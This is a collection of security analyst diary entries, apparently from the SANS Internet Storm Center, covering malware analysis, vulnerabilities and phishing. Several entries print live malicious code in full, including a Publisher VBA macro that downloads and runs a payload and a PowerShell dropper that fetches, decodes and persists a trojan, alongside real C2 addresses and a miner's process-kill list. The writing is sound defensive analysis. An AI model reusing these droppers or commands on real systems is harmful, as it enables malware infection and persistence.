This post is just a quick place to document a tip/tool that other malware analysts might find useful. As some of you may be aware, I occasionally teach FOR610: Reverse Engineering Malware. I love the class and on days 3-5 we talk about shellcode and discuss various ways of examining shellcode. Also, I've been doing malware analysis for quite a while and have primarily used IDA and OllyDbg (now, x64dbg, since Olly has been abandoned) for it, but I know some of my colleagues really like radare2. I've never had the time to learn radare2, but in a recent case at the $dayjob, I found some shellcode being executed by powershell. Rather than look at it in IDA, I decided to see what I could see in radare2. Since I do most of my analysis in Linux, being able to do this quickly from the command-line was very attractive. I was able to extract the shellcode as a binary file and with a few minutes of research found that the following one-liner did the job. I figured, this might be of interest to other analysts who haven't used radare2 much either, so here you are.

Note, the switches to the r2 command are -a x86 -b 32 because this shellcode is 32 bit x86 code, -q to just do the disassembly and quit, -c pd to print the disassembly, and, of course, the file containing the binary shellcode (foo.bin). I'm not going to spend any time here examining what the shellcode does. The purpose of this quick post was just to document one way to use radare2. If you want to learn more about how to deal with shellcode, come take FOR610 with us.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

We already wrote some diaries about crypto miners and they remain more popular than ever. Based on my daily hunting statistics, we can see that malicious scripts performing crypto mining operations remain on top of the sample I detected for the last 24h:

(They are represented by the ‘PowershellSuspiciousStrings’ category)

But crypto miners are not only installed on workstations, servers are juicy targets too... because that’s where the real CPU power is available! The recent Apache Struts remote code execution vulnerability (amongst other like SOLR reported by Renato a few months ago[1]) is heavily used to drop crypto miners on vulnerable systems[2]. 

The classic behaviour of a crypto miner dropper is to try to gain as much as available resources. To do so, they usually try to kill competitors (See my previous diary[3]).

Yesterday I came across another shell script which drops a Monero crypto miner unknown on VT (SHA256:b565d406dbb6a3aa80bc1e514b176e9ee6415eb0f425d013154e0cde555374e7). The script has nothing fancy, it downloads a Monero crypto miner and adds persistency via a cron job. However, this one improved the detection of other CPU intensive processes!

Here are some examples extracted from the sample:

It kills processes containing the following IP addresses on the command line:

• %%ip:142.4.124.164%%
• %%ip:192.99.56.117%%
• %%ip:128.199.86.57%%
• %%ip:45.76.102.45%%
• %%ip:108.61.186.224%%
• %%ip:67.231.243.10%%

It removes the memory segment used by JBoss:

rm -rf /dev/shm/jboss

Here is the list of substrings searched to kill processes using the 'pkill' command:

$ grep ^pkill b565d406dbb6a3aa80bc1e514b176e9ee6415eb0f425d013154e0cde555374e7.vir | awk '{ print $NF }'|sort -u
./AnXqV.yam
./BI5zj
./Carbon
./Duck.sh
./Guard.sh
./JnKihGjn
./KGlJwfWDbCPnvwEJupeivI1FXsSptuyh
./NXLAi
./XJnRj
./accounts-daemon
./acpid
./askdljlqw
./atd
./bonn.sh
./bonns
./carbon
./conn.sh
./conns
./crypto-pool
./ddg
./donns
./gekoCrw
./gekoCrw32
./gekoba2anc1
./gekoba5xnc1
./gekobalanc1
./gekobalance
./gekobalanq1
./gekobnc1
./ir29xc1
./irpbalanc1
./jIuc2ggfCAvYmluL2Jhc2gi
./jaav
./jva
./kw.sh
./kworker34
./kxjd
./lexarbalanc1
./lower.sh
./lowerv2.sh
./lowerv3.sh
./minerd
./minergate
./minergate-cli
./minexmr
./mixnerdx
./mule
./mutex
./myatd
./performedl
./polkitd
./pro.sh
./pubg
./pvv
./root.sh
./rootv2.sh
./rootv3.sh
./servcesa
./sleep
./sourplum
./sshd
./stratum
./vsp
./watch-smart
./wget
./ysaydh
/tmp/httpd.conf
/tmp/m
/tmp/wa/httpd.conf
AnXqV.yam
BI5zj
Carbon
Duck.sh
Guard.sh
JnKihGjn
KGlJwfWDbCPnvwEJupeivI1FXsSptuyh
NXLAi
XJnRj
accounts-daemon
acpid
askdljlqw
atd
bb
bonn.sh
bonns
carbon
conn.sh
conns
crypto-pool
ddg
donns
gekoCrw
gekoCrw32
gekoba2anc1
gekoba5xnc1
gekobalanc1
gekobalance
gekobalanq1
gekobnc1
ir29xc1
irpbalanc1
irqba2anc1
irqba5xnc1
irqbalance
irqbnc1
jIuc2ggfCAvYmluL2Jhc2gi
jaav
jva
kw.sh
kworker34
kxjd
lexarbalanc1
lower.sh
lowerv2.sh
lowerv3.sh
minerd
minergate
minergate-cli
minexmr
mixnerdx
mule
mutex
myatd
performedl
polkitd
pro.sh
pubg
pvv
root.sh
rootv2.sh
rootv3.sh
servcesa
sleep
sourplum
stratum
tratum
vsp
watch-smart
wget
yam
ysaydh

You can see that the list keeps growing! Note that the script also tries to optimize the system performance by altering the memory paging mechanism[4]:

proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`

Yes, the battle for more CPU cycles is still ongoing!

[1] https://isc.sans.edu/forums/diary/Apache+SOLR+the+new+target+for+cryptominers/23425
[2] https://www.volexity.com/blog/2018/08/27/active-exploitation-of-new-apache-struts-vulnerability-cve-2018-11776-deploys-cryptocurrency-miner/
[3] https://isc.sans.edu/forums/diary/The+Crypto+Miners+Fight+For+CPU+Cycles/23407
[4] https://wiki.debian.org/Hugepages

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Richard wrote a quick diary yesterday about an interesting information that we received from one of our readers. It's about a huge amount of OctoPrint interfaces that are publicly facing the Internet. Octoprint[1] is a web interface for 3D printers that allows to control and monitor all features of the printer. They are thousands of Octoprint instances accessible without any authentication reported by Shodan:

Here is an example of a publicly open interface connected to an online printer (status is "operational"):

So, what can go wrong with this kind of interface? It’s just another unauthenticated access to an online device. Sure but the printer owners could face very bad situations.

The interface allows downloading the 3D objects loaded in the printer. Those objects are in G-code format[2]. To make it simple, G-code is a language in which people tell computerized machine tools how to make something. G-code files are simple text files and are not encrypted:

$ cat sample.gcode
G90
M82
M106 S0
M104 S210 T0
M109 S210 T0
G28 ; home all axes
G92 E0
G1 E-3.0000 F1800
G1 Z0.135 F1002
; process CR10S4
; layer 1, Z = 0.135
T0
; tool H0.150 W0.400
; skirt
G1 X190.485 Y170.099 F4800
G1 E0.0000 F540
G92 E0
G1 X190.631 Y169.944 E0.0050 F1080
G1 X190.641 Y169.933 E0.0054
G1 X191.500 Y169.102 E0.0337
G1 X191.511 Y169.092 E0.0341
G1 X191.671 Y168.952 E0.0391
G1 X191.682 Y168.942 E0.0395
G1 X192.634 Y168.188 E0.0682
G1 X192.646 Y168.179 E0.0686
G1 X192.821 Y168.054 E0.0737
G1 X192.833 Y168.046 E0.0740
G1 X193.848 Y167.394 E0.1026
...

We are facing here the first issue: G-code files can be downloaded and lead to potentially trade secret data leak. Indeed, many companies R&D departments are using 3D printers to develop and test some pieces of their future product. Here is an example of G-code file rendered via an online tool:

If the authentication is completely disabled, it is possible to upload G-code files and… print them! What if an anonymous person sends a malicious G-code file to the printer and instructs to print it while nobody is around? There were bad stories of low-cost 3D printers which simply burned![3]. Here is one found busy to print an object. Did you see the temperature?

Worse, what if the attacker downloads a G-code file, alters it and re-upload it. Be changing the G-code instructions, you will instruct the device to print the object but the altered one won’t have the same physical capabilities and could be a potential danger once used. Think about 3D-printer guns[4] but also 3D-printed objects used in drones. Drone owners are big fans of self-printed hardware.

Finally, OctoPrint offers a monitoring feature based on an embedded webcam which can affect the remote user privacy. On this screenshot, the operator was preparing his printer but we can also see some details behind the printer.

How to protect your OctoPrint instance? The documentation says about access control[5]:
"When Access Control is enabled, anonymous users (not logged in) will only see the read-only parts of the UI which are the following” (followed by a long list of features). Most critical is accessing to the webcam and downloading G-code files. As suggests the documentation: “If you plan to have your OctoPrint instance accessible over the internet, always enable Access Control".

Thank you again to Kalaireas for sharing this.

[1] https://octoprint.org/
[2] https://en.wikipedia.org/wiki/G-code
[3] https://hackaday.com/2018/03/18/3d-printer-halts-and-catches-fire-analysis-finds-a-surprising-culprit/
[4] https://en.wikipedia.org/wiki/3D_printed_firearms
[5] http://docs.octoprint.org/en/master/features/accesscontrol.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Okay folks, we had a reader report in that they have found over 3000+ exposed OctoPrint (thanks Kalaiarasu!) [1]. This web server, by default, binds to port 5000 and the access controls [2] do not seem to have much in the way of restricting access, except by user. If you have one of these running, do yourself a favor and check for internet facing exposure.

The docs indicate that you can have access to a remote webcam for status, among many other things [2]. Sourcecode is up on Github [3] and is released as an opensource project.

We are reseaching this and will update this diary as we get info.

If you have one of these, let us know how you are securing it?

[1] https://octoprint.org/

[2] http://docs.octoprint.org/en/master/index.html

[3] https://github.com/foosel/OctoPrint

Richard Porter

--- ISC Handler on Duty

When responding to a malware incident, important questions to be answered are "How was the machine infected?" and "When was the machine infected?".

I encountered a sample that made the work of analysts a bit lighter in this regard.

While browsing through the code of a H-worm variant, I noticed that this worm creates a registry entry with the method and date of infection, and communicates this to the C2 server.

Here is the code:

The string strIndicatorUSBSpreadAndDate (a name I chose) will be set to "true - DATE" when the machine is infected via an USB stick, and to "false - DATE" when it is not.

This string is written to the registry:

The name of the registry key varies: it's the name of the .vbs file (hworm-meoit is a name I chose). It will be under HKEY_LOCAL_MACHINE\Software if the script was executed (elevated) by an administrator, and under the registry virtualization keys when executed by a normal user:

This value is also communicated to the C2 server with every HTTP POST request (inside the User Agent String header):

Of course, one would still look at other evidence when establishing a timeline.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I was asked for help with the analysis of a malicious script.

The solution is easy: the script contains another script, encoded with numbers using a simple substitution cipher (shift 12).

The problem is identifying that numeric obfuscation is used, and figuring out which one exactly.

One way to try to identify it, of course, is just to look at the script:

Scrolling down, you will find this:

That's clearly a string with a large amount of numbers separated by an exclamation mark (!). This is a clear indicator of numeric obfuscation in malicious scripts: a list of numbers.

Now you need to convert these numbers to ASCII characters. And maybe first apply a mathematical transformation on each number (depending on the type of obfuscation).

I have a tool to help with this: numbers-to-string.py. This tool reads a text file, extracts numbers per line, performs an optional calculation on each number, and then converts them to ASCII.

There is a new option in this tool, to perform a simple statistical analysis. This is done with option -S:

With this information, you know that:

• on line 206, 25830 numbers were found, ranging between 22 and 137, and with an average value of 90.
• on line 517, a single number was found: 12

All numbers between 22 and 126 can be converted to an ASCII character, and numbers between 127 to 137 to an extended ASCII character (depending on the code page).

Because we will end up with extended ASCII characters if we just convert the numbers to a character, it's probably that we need to perform a mathematical operation on each number, to end up with just ASCII characters.

You can first try without mathematical operation (""), like this:

It's clear that this is not what you are looking for. This does not look like a script. But nevertheless, this output provides a bit of information: that all numbers can be converted to a character. If this would not be possible, then numbers-to-string would not output anything for that line.

The next step is to figure out what mathematical operation has to be performed. This too can be done with just trial-and-error, by starting with the most simple operation: adding or subtracting a constant number.

You can start with:

• n + c
• n - c

Where n is the number found in the obfuscated script, and c is the constant to add or subtract. But what constant should you use?

Remember the output of the statiscal analysis of the script: there was a second line, with a single number: 12.

So first try with 12:

• n + 12
• n - 12

That's no improvement. Try with "n - 12" now:

That's clearly a script: it's a variant of the H-worm. This one connects to C2 shkis[.]publicvm[.]com on port 83 via HTTP. It polls the C2 about every 5 seconds with a POST command using path /is-ready to indicate that it is ready to execute commands.

In my experience, simple numeric obfuscation like this sample appears frequently. By looking more closely at the statistical results, one could also deduce that the operation is a subtraction: because there are numbers larger than 126, and for ASCII, the largest printable character is 126 (~).

XORSearch can also help to identify the mathematical operation to be performed. I'll probably cover this in another diary entry.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I want to illustrate how to perform a static analysis of the malicious Publisher file Xavier analyzed yesterday.

Publisher files can contain macros, in the same way as Word and Excel files. oledump.py can extract macros from Publisher files too:

Several strings are hidden in UserForm1, for example the type of object to create, and the URL.

Streams 13 through 19 contain data for UserForm1, like tag values:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Attackers are always searching for new ways to deliver malicious content to their victims. A few days ago, Microsoft Publisher malicious files were spotted by security researchers[1]. Publisher is a low-level desktop publishing application offered by Microsoft in its Office suite. They are linked to the “.pub” extension. If not very popular these days, Publisher is still installed on many computers because the default setup of Office 365 proposes it by default:

Being part of Office 365, it has all the features like Word, Excel, etc (Read: it can execute VBA macros). One of our readers shared a malicious Publisher document that he received via email. The file contained a simple VBA macro that reads the URL to download the next stage via a VBA Form:

Here is the decoded macro:

Sub Document_Open()
  Dim msOfficeOnlineLeague: Set msOfficeOnlineLeague = CreateObject(UserForm1.Tag)
  Dim xpsa: Set xpsa = CreateObject("Adodb.Stream")
  msOfficeOnlineLeague.Open "GET", UserForm1.Frame1.Tag, False
  msOfficeOnlineLeague.Send
  With xpsa
    .Type = 1 '//binary
    .Open
  End With
  With xpsa
    .write msOfficeOnlineLeague.responseBody
  End With
  CallByName xpsa, UserForm1.ToggleButton1.Tag + UserForm1.ToggleButton2.Tag, _
  VbMethod, UserForm1.Label1.Caption, 2  '//overwrite
  Shell (UserForm1.Label1.Caption)
End Sub

The URL 'hxxp://g50e[.]com/security' returns a PE file (SHA256:2b4f1c3755982b71bc709e4ddf101fd713f8d64fcbe1f251f4e22c8ffe69907b). This file installs the FlawedAmmyy RAT[2]. Let’s have a look at the infection. Once the PE file downloaded and executed, it performs the following tasks:

It drops a new PE file (SHA256:79fd3041ab85e378839d2e3cf155fc91a2d541304d209f5d1d57ac7d791190ec) that spawns other processes:

The most interesting step: the malware drops a 7z archive on disk (SHA256: 168a4817a9df56ef4a528015ebe2fa0f31926ba357048f8f122b468f35848584) which contains the RAT:

$ 7z l archive.7z
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=C,Utf16=off,HugeFiles=on,2 CPUs)

Enter password (will not be echoed) :

Listing archive: archive.7z

--
Path = archive.7z
Type = 7z
Method = LZMA2 7zAES
Solid = -
Blocks = 1
Physical Size = 476313
Headers Size = 201

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-08-20 22:07:02 ....A       778240       476112  archive.cab
------------------- ----- ------------ ------------  ------------------------
                                778240       476112  1 files, 0 folders

The cab file (SHA256:996053ee305ee730f4095d9ee71447dd72815083c8cdf98e048f41185cf2b1d1) is in fact a RAT itself which is installed as C:\Users\admin\AppData\Roaming\Microsoft\Windows\winksys.exe. It communicates with the following C2 address: %%ip:185.99.132.12%% on port 80. Finally, persistence is added via a rogue Windows service:

sc create winksys binpath= "C:\WINDOWS\winksys.exe -service" type= own start= auto displayname= “"

We can assume that Publisher has been targeted because:

• Publisher remains installed on many targets (part of Office 365)
• ".pub" does not look like a malicious file extensions
• ".pub" is less likely blocked by simple ACL

I'm pretty sure that new waves of malicious Publisher files are on their way. Stay safe!

[1] https://securityaffairs.co/wordpress/75469/cyber-crime/malspam-microsoft-publisher-files.html
[2] https://www.cyber.nj.gov/threat-profiles/trojan-variants/flawedammyy

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

For a long time, moving services to the cloud has been a major trend. Many organizations jumped into the cloud because it’s much easier and cost less money (in terms of maintenance, licence, electricity, etc). If so, why should bad guys not follow the same trend? Last year, I wrote a diary about a phishing campaign that used jotform.com[1] to handle the HTTP POST data. Yesterday, I found a new one fully hosted by a cloud service. It was accessed through a bit.ly shortened URL in a mail:

formcrafts.com is a service which offers powerful online forms. They have a free plan which allows 3 forms / 15 fields / 50 submissions per month. This can be more than enough for a phishing campaign, especially if you create multiple accounts. Once registered, you can design your forms and manage them via a nice dashboard:

Not surprisingly, I found more than one malicious forms:

hxxps://formcrafts[.]com/a/itsupport
hxxps://formcrafts[.]com/a/itweb
hxxps://formcrafts[.]com/a/webit
hxxps://formcrafts[.]com/a/ithelpdesk

Using such services is interesting from an attacker point of view because they don’t need to compromize other resources to host their phishing pages and cloud services are usually allowed through proxies/access-lists.

[1] https://isc.sans.edu/forums/diary/Phishing+Kit+AbUsing+Cloud+Services/23089

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

As the IT Manager for a multi-location manufacturing company, I have the challenge of providing a secure and safe environment. I deal with many vendors for various applications that we use. One of my pet peeves is support departments. I cannot believe how little emphasis is placed on customer support and satisfaction these days.

I have several vendors that are outsourcing their support departments. This is very frustrating to me. They are a US company, we pay with US dollars and when it comes to support we have to talk to someone who speaks fragmented English and does not understand terms and phrases that we use. It takes me at least twice as long to get my point across and to get the information that I need to solve my issue. Another issue I have is that they are in a different time zone than I am. I specifically ask for support 8:30 am to 4pm Central Time US and they invariably call me at 6, 7 even 10 o’clock at night. I pay for premium support and am supposed to have a call within 4 hours. Most of the time it takes 4 or 5 days to get an actual contact with a person. When I finally get through and actually talk to someone I am even more frustrated when I am told that the problem was caused by an update to the application that is now a FEATURE. Really??? A feature that broke something.

These applications and the issues that come up are critical to the operation of our locations. Why can we not get US support when we are in the US and pay in US dollars? Anyone else have the same issues?

Stepping off my soapbox now.

Deb Hale

I am going to go back to the basics here for a minute and talk about one of the most common ways someone’s email account/password gets hacked. With all of the 3^rd party hacks that have happened in recent months it would not be impossible that the password was stolen if the same password is used for multiple applications. If you use the same password for your, let’s say Twitter account as you do for your Bank Account, Credit Card accounts, email accounts, etc you are opening yourself up to a potential breach. Passwords should not be the same for multiple systems. Also, if the password is easily guessed, the changes are much better that your will get hacked. All they have to do is get your email address, try a few common passwords and walla they are in.

Old School best practice to protect you and your personal information is use passwords that are not easily guessed. And use different passwords for different levels of logins. AND NEVER, NEVER use your work passwords for anything that is NOT work related.

I know it is a pain to remember different passwords but in my opinion it is essential.

Deb Hale

Here is an interesting sample that I found while hunting. It started with the following URL:

hxxp://200[.]98[.]170[.]29/uiferuisdfj/W5UsPk.php?Q8T3=OQlLg3rUFVE740gn1T3LjoPCQKxAL1i6WoY34y2o73Ap3C80lvTr9FM5

The value of the parameter (‘OQlLg3rUFVE740gn1T3LjoPCQKxAL1i6WoY34y2o73Ap3C80lvTr9FM5’) is used as the key to decode the first stage. If you don’t specify it, you get garbage data:

If you slightly change the key (ex: remove the last character), you can see some part of the data properly decoded until the position of the removed character. The key is just used to XOR the original script. Here is a beautified version of the code:

 1: $strCaminhoArquivoLog = "$env:TEMP\$env:UserName$env:ComputerName.$env:Processor_Revision"
 2: $bExisteArquivoLog = [System.IO.File]::Exists($strCaminhoArquivoLog)
 3: function gera-strrand
 4: {
 5:     -join ((65..90) + (97..122) | Get-Random -Count $args[0] | % {[char]$_}) 
 6: } 
 7: if (-Not $bExisteArquivoLog)
 8: {
 9:   "" | Set-Content $strCaminhoArquivoLog 
10:   $strCaminhoPastaCaixa = gera-strrand 8
11:   $strCaminhoPastaCaixa = "$env:PUBLIC\$strCaminhoPastaCaixa\"
12:   New-Item -ItemType directory -Path $strCaminhoPastaCaixa
13:   $strCaminhoCaixaZipada = gera-strrand 8
14:   $strCaminhoCaixaZipada = "$strCaminhoPastaCaixa$strCaminhoCaixaZipada.zip"
15:   $strUrlCaixaZipada = "hxxp://200[.]98[.]170[.]29/uiferuisdfj/uj9o3fxnes.zip"
16:   (New-Object System.Net.WebClient).DownloadFile($strUrlCaixaZipada, $strCaminhoCaixaZipada)
17:   $objBytesCaixaZipada = [System.IO.File]::ReadAllBytes($strCaminhoCaixaZipada)
18:   for($i=0; $i -lt $objBytesCaixaZipada.count; $i++) 
19:   {
20:     $objBytesCaixaZipada[$i] = $objBytesCaixaZipada[$i] -bxor 0x91 
21:   } 
22:   [System.IO.File]::WriteAllBytes($strCaminhoCaixaZipada,$objBytesCaixaZipada)
21:   $objArrayArqsZip = New-Object System.Collections.ArrayList
22:   $objShelApplication = New-Object -com shell.application
23:   $objArquivoZipado = $objShelApplication.NameSpace($strCaminhoCaixaZipada)
24:   foreach($item in $objArquivoZipado.items()) 
25:   {
26:     $objShelApplication.Namespace($strCaminhoPastaCaixa).copyhere($item)
27:     $objArrayArqsZip.Add($item.name)
28:   } 
29:   $strNomeModuloDllKl = gera-strrand 7 
30:   $strPathModuloDllKl = $strCaminhoPastaCaixa + $strNomeModuloDllKl + ".dll" 
31:   $strNomeModuloExecutor = gera-strrand 5 
32:   $strPathModuloExecutor = $strCaminhoPastaCaixa + $strNomeModuloExecutor + ".exe"
33:   $strNomeScriptAutoIt = gera-strrand 8
34:   $strPathScriptAutoIt = $strCaminhoPastaCaixa + $strNomeScriptAutoIt
35:   foreach ($element in $objArrayArqsZip)
36:   { 
37:     $intTamArquivo = (Get-Item "$strCaminhoPastaCaixa$element").Length 
38:     if ($intTamArquivo -lt 2000) 
39:     { 
40:       Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathScriptAutoIt 
41:     } 
42:     elseif ($intTamArquivo -lt 1000000) 
43:     { 
44:       Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathModuloExecutor 
45:     } 
46:     else 
47:     { 
48:       Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathModuloDllKl 
49:     } 
50:   } 
51:   $RegistroKey = gera-strrand 9
52:   $RegistroRun = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" 
53:   Set-ItemProperty $RegistroRun "$RegistroKey" ("`"$strPathModuloExecutor`” `"$strPathScriptAutoIt`"`"$strCaminhoPastaCaixa$strNomeModuloDllKl`"") 
54:   Restart-Computer -F
55: } 

Let's have a look at the script. 

A function gera-strrand() is created to generate random strings (lines 3-6)

The script verifies that it has not already infected the victim's computer by creating an empty file (line 1, 7-9). The command Set-Content acts like the ‘touch’ UNIX command in this case.

A temporary random directory is created (line 10-12)

The second stage is downloaded  (line 14-16) and stored in the newly created directory then XOR’d with key 0x91 (line 17-22).

So, let’s download and decrypt and see what’s in the ZIP archive (SHA256:c2e7fa6a07045c0ded3ba5908ebd3a80f4176d2a2bf3d4654399d5bb3b2a0572):

$ curl -s hxxp://200[.]98[.]170[.]29//uiferuisdfj/uj9o3fxnes.zip | ./xor.py
['q3w6vnrelzb2r0jay', 'JthRqcc3zk', 'bGOELsXU0h']

Tip: I wrote the xor.py to decode and list the zip file content:

#!/usr/bin/python3
import sys
import zipfile
import io
def xor(data):
    return bytearray((
        (data[i] ^ 0x91) for i in range(0,len(data))
    ))
d = sys.stdin.buffer.read()
zf = zipfile.ZipFile(io.BytesIO(xor(d)))
print(zf.namelist())

Here are the files details:

Files are renamed with specific names. The technique used to rename files is to check their size because original filenames are probably randomly generated (line 29-50).

Finally, a registry key is created for persistence in HKCU:\Software\Microsoft\Windows\CurrentVersion\Run (line 51-53). The executed command has the following format:

AutoIT.exe AutoITscript MaliciousDLL

The PE32 file is indeed the legitimate AutoIT.exe launcher tool[1] that calls the script. It loads the malicious DLL. The script is protected (in .a3x format). It can be easily decrypted with a modified version of the myAuth2exe tool[2]. Here is the code:

#NoTrayIcon
GLOBAL $MLOBBXOJ2=$CMDLINE[1]
GLOBAL $GTBP0WCI6JTPSMLAX16G=DLLOPEN($MLOBBXOJ2&".dll")
DLLCALL($GTBP0WCI6JTPSMLAX16G,"none","eKRZWJNbVUojH3qoQF3qjX”)

The script just loads the provided DLL file and invoke the exported function ‘eKRZWJNbVUojH3qoQF3qjX’. Here is the list of exports:

default viper q3w6vnrelzb2r0jay > pe exports
[*] Exports:
 - 0x45a90c: 'TMethodImplementationIntercept' (3)
 - 0x4109e8: '__dbk_fcall_wrapper' (2)
 - 0x644634: 'dbkFCallWrapperAddr' (1)
 - 0x6277e0: 'eKRZWJNbVUojH3qoQF3qjX' (4)

The DLL was unknown on VT when I started to analyze this sample but it has now a score of 12/65 [3]. It's a Trojan that has many features:

The fact to use the AutoIT tool is a nice way to bypass many controls because the file is safe and signed. Often, tools like AppLocker allow the execution if properly signed executables.

Note that the dropper is not very stealthy because it simply reboots the computer once the persistence achieved (line 54)!

[1] https://www.autoitscript.com/site/autoit/
[2] https://github.com/dzzie/myaut_contrib
[3] https://www.virustotal.com/#/file/638848854dd2025263b0b4a8f9ddfec181aa901951cacf82355f78d9ebe63635/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

A GitHub commit was the start of the disclosure of a vulnerability in OpenSSH (%%CVE:2018-15473%%) that leads to username disclosure.

It's not that a special command or packet will dump all the usernames. Rather, a specially crafted authentication packet must be send with the username to test, and from the reply/lack of reply you'll know if that username exists or not on said server.

After establishing an encrypted connection, a client can send a SSH2_MSG_USERAUTH_REQUEST (type publickey) message to an OpenSSH server with a malformed packet. The malformation is a string that is larger than the message, for example. When the userauth_pubkey function processes this message, it will first check if the username exists. If it does not, it returns value 0 immediately. Otherwise, the key provided in the message is checked, and a positive test leads to authentication (return value 1), otherwise the return value will be 0.

The functions that act on message SSH2_MSG_USERAUTH_REQUEST and call the appropriate authentication functions (like userauth_pubkey), will eventually send back a message to the client: authenticated (SSH2_MSG_USERAUTH_SUCCESS) or not (SSH2_MSG_USERAUTH_FAILURE).

But function userauth_pubkey can be forced into doing something else than returning 0 or 1: it can be forced to trigger a call to function fatal. This function generates a fatal alert event that is logged, and then it terminates the OpenSSH process without sending anything back to the client. This behavior can be triggered by sending a SSH2_MSG_USERAUTH_REQUEST (type publickey) message with a string that "claims" to be larger than the message itself, for example (strings encoded in messages are composed of 2 elements: a 4-byte, big-endian integer, encoding the length of the string, and a variable-length array of bytes, with the content of the string).

This is exactly what PoC Python program ssh-check-username.py does: it sends a SSH2_MSG_USERAUTH_REQUEST (type publickey) message with a username plus an algorithm string that is not properly encoded. If the username does not exist, SSH2_MSG_USERAUTH_FAILURE is send back to the client. If the username exists, the message is parsed further before the public key verification occurs. This parsing uncovers a malformed string, and the program decides to abort without sending back any message. This is how the PoC Python can check the existence of a username: if it receives SSH2_MSG_USERAUTH_FAILURE, the username does not exist, and if it receives no message and the connection is closed, then the username exists.

This vulnerability exists in the public key authentication function, but also in the host authentication and gss authentication functions. Fixing this consists essentially in reversing the actions performed by these functions: first do a full parsing of the message, then check for the existence of a username.

You can mitigate these vulnerabilities before patches have been released and applied, by disabling the vulnerable authentication methods, like public key authentication. But please do this only if you don't use public key authentication. If you do, then continue to use it, don't disable it! It is, after all, "just" an information disclosure vulnerability that can confirm the existance of a username.

It's also possible to monitor your authentication logs for exploitation of this vulnerability. A fatal event will be logged, with a message like "ssh_packet_get_string: incomplete message". This message can vary according to your OpenSSH version (this example message is taken from a Ubuntu machine) and according to the exploit used. This example message is generated when the Python PoC exploit is used.

The message does not contain any identifier of the attacker. If you want IP addresses, you can increase your LogLevel from INFO to VERBOSE, but be aware that it will increase the amount of events and that you need the capacity to handle the increase in events.

If you are interested, I have a PCAP file. The first stream is a successful username check, the second stream a failed one.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I created a video for diary entry "Peeking into msg files - revisited":

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

As we had the previous week SegmentSmack (%%cve:2018-5390%%) allowing remote DoS attacks by sending crafted TCP packets, this week a similar vulnerability has been reported on IP fragments.

Juha-Matti Tilli has reported a vulnerability in the IP implementation of the Linux kernel, versions 3.9+. The vulnerability is being named FragmentSmack (%%cve:2018-5391%%) and can be exploited by sending special crafted IP fragments at a low rate. Due to the increase of the reassembly queue size (you can find the commit here) in the Linux kernel 3.9+ it became exploitable. Similar vulnerabilities (exploits are being known as Teardrop attacks) have been seen before as far as in the 90's, starting with Windows NT 4.0, Windows 95 and Linux up to 2.0.32 (see this article). It has resurfaced in Windows 7 and Windows Vista and now reappearing in the Linux Kernel. The Teardrop attack originally crashed the system, while these newer vulnerabilities will "just" trigger excessive resource usage (increased CPU and RAM usage).

Crafted packets will use incorrect value for the fragment offset, causing it to be queued as long as the kernel is not able to reassemble and within thresholds.

The vulnerabilties can be exploited remotely, by sending crafted packets. As SegmentSmack needs a two-way TCP session (which makes it difficult to spoof), FragmentSmack works on IP fragments. Possibly making this spoofable and with increased impact. Proof of concept code hasn't appeared online (yet). 

Now there has been chosen an alternative approach by the Linux kernel developers, instead of fixing this specific issue, to completely drop the IP datagram in case of overlapping fragments. This makes it behaving the same as IPv6. There are no legitimate use cases for overlapping fragments, as can be found in the commit. 

If you are not able to apply the patch, changing the values net.ipv4.ipfrag_high_thresh and net.ipv4.ipfrag_low_thresh back to 256kB and 192 kB (respectively) or below will mitigate this problem.

References

• http://www.tcpipguide.com/free/t_IPDatagramGeneralFormat.htm
• https://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next.git/commit/?id=c2a936600f78aea00d3312ea4b66a79a4619f9b4 (commit introducing the vulnerability)
• https://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next.git/commit/?id=c30f1fc041b74ecdb072dd44f858750414b8b19f (discard overlapping fragments)
• https://insecure.org/sploits/linux.fragmentation.teardrop.html 
• https://tools.cisco.com/security/center/viewAlert.x?alertId=122
• https://www.kb.cert.org/vuls/id/641765
• https://access.redhat.com/articles/3553061
• https://bugzilla.redhat.com/show_bug.cgi?id=1609664

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec
PGP Key

Introduction

This is a follow-up to a previous diary from last month on malicious spam (malspam) distributing password-protected Word docs with malicious macros designed to infect vulnerable Windows computers with ransomware.

Details

Today, I found five examples of malspam with password-protected Word docs using 1234 as the password.  The Word doc had a malicious macro that retrieved AZORult malware.  The AZORult malware conducted callback traffic, then the infected host retrieved Hermes ransomware.

Shown above:  Screen shot of a malspam example from today (1 of 2).

Shown above:  Screen shot of a malspam example from today (2 of 2).

Shown above:  Opening the password-protected Word doc on a Windows host.

Shown above:  After entering the password, a victim must enable macros.

Shown above:  Traffic from an infection filtered in Wireshark.

Shown above:  Desktop of an infected Windows host.

Indicators

Malspam information from 5 email samples: 

• Date:  Wednesday 2018-08-15

• Received: from  180connection.org ([46.161.42.24])
• Received: from  10000tables.org ([46.161.42.9])
